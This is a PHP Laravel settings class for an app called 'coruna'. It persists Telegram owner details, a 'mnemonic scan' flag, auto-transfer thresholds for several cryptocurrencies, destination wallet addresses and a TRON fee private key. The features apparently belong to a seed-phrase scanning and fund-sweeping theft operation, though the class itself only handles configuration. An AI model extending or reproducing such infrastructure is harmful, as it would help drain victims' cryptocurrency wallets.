<?php

namespace App\Services;

use RuntimeException;

class SettingsService
{
    /**
     * Admin-editable settings persisted to `.env`.
     *
     * @var array<string, string>
     */
    public const ENV_KEYS = [
        'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
        'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
        'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
        'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN',
        'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
        'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
        'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
        'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
        'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
        'auto_transfer.threshold_bnb' => 'AUTO_TRANSFER_THRESHOLD_BNB',
        'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
        'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
        'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
    ];

    /** Empty form value means keep existing env value. */
    private const SECRET_KEYS = [
        'transfer.fee_private_key_tron',
    ];

    public function get(string $key, ?string $default = null): ?string
    {
        $value = match ($key) {
            'telegram.bot_token' => config('coruna.telegram.bot_token'),
            'telegram.bot_username' => config('coruna.telegram.bot_username'),
            'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
            'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
            'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
            'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
            'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
            'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
            'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
            'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
            'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
            'transfer.to_address' => config('coruna.transfer.to_address'),
            'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
            'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'),
            'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
            'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'),
            'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
            'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
            'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
            default => null,
        };

        if ($value === null || $value === '') {
            return $default;
        }

        return (string) $value;
    }

    /**
     * @param  array<string, mixed>  $values
     */
    public function putMany(array $values): void
    {
        $envPairs = [];

        foreach ($values as $key => $value) {
            if (! isset(self::ENV_KEYS[$key])) {
                continue;
            }

            $str = $value === null ? null : trim((string) $value);
            if (in_array($key, self::SECRET_KEYS, true) && ($str === null || $str === '')) {
                continue;
            }

            $str ??= '';
            $envPairs[self::ENV_KEYS[$key]] = $str;
            $this->applyRuntimeConfig($key, $str);
        }

        if ($envPairs !== []) {
            $this->writeEnv($envPairs);
        }
    }

    /** Kept for boot compatibility; config is loaded from `.env` via config/coruna.php. */
    public function applyToConfig(): void
    {
        // no-op: no DB overlay
    }

    /** @return array<string, string> */
    public function effectiveForForm(): array
    {
        $feeKeySet = trim((string) config('coruna.transfer.fee_private_key_tron', '')) !== '';

        return [
            'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
            'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
            'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
            'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
            'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
            'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
            'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
            'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
            'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
            'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
            'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
            'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
            'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''),
            'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
            'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''),
            'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
            'transfer.fee_private_key_tron' => '',
            'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
            'transfer.fee_topup_trx' => (string) (config('coruna.transfer.fee_topup_trx') ?: '20'),
        ];
    }

    /** @return list<string> */
    public static function parseDomains(?string $raw): array
    {
        if ($raw === null || trim($raw) === '') {
            return [];
        }
        $parts = preg_split('/[\s,;]+/', trim($raw)) ?: [];

        return array_values(array_filter(array_map(static function ($d) {
            $d = trim((string) $d);
            $d = preg_replace('#^https?://#i', '', $d) ?? $d;
            $d = rtrim($d, '/');
            $d = explode('/', $d, 2)[0];
            $d = preg_replace('/:\d+$/', '', $d) ?? $d;

            return strtolower($d);
        }, $parts)));
    }

    private function applyRuntimeConfig(string $key, string $value): void
    {
        match ($key) {
            'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
            'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
            'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
            'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']),
            'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
            'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
            'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
            'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
            'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
            'auto_transfer.threshold_bnb' => config(['coruna.auto_transfer.threshold_bnb' => $value]),
            'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
            'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
            'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
            'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]),
            'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
            'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
            'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
            default => null,
        };
    }

    /**
     * @param  array<string, string>  $pairs
     */
    private function writeEnv(array $pairs): void
    {
        $path = base_path('.env');
        if (! is_file($path)) {
            throw new RuntimeException('.env not found');
        }
        if (! is_writable($path)) {
            throw new RuntimeException('.env is not writable');
        }

        $content = (string) file_get_contents($path);
        foreach ($pairs as $name => $value) {
            $line = $name.'='.$this->formatEnvValue($value);
            if (preg_match('/^'.preg_quote($name, '/').'=/m', $content) === 1) {
                $content = preg_replace('/^'.preg_quote($name, '/').'=.*$/m', $line, $content, 1) ?? $content;
            } else {
                $content = rtrim($content, "\r\n")."\n".$line."\n";
            }

            putenv($name.'='.$value);
            $_ENV[$name] = $value;
            $_SERVER[$name] = $value;
        }

        if (file_put_contents($path, $content) === false) {
            throw new RuntimeException('Failed to write .env');
        }
    }

    private function formatEnvValue(string $value): string
    {
        if ($value === '') {
            return '';
        }
        if (preg_match('/[\s#"\'\\\\]/', $value) === 1) {
            return '"'.str_replace(['\\', '"'], ['\\\\', '\\"'], $value).'"';
        }

        return $value;
    }
}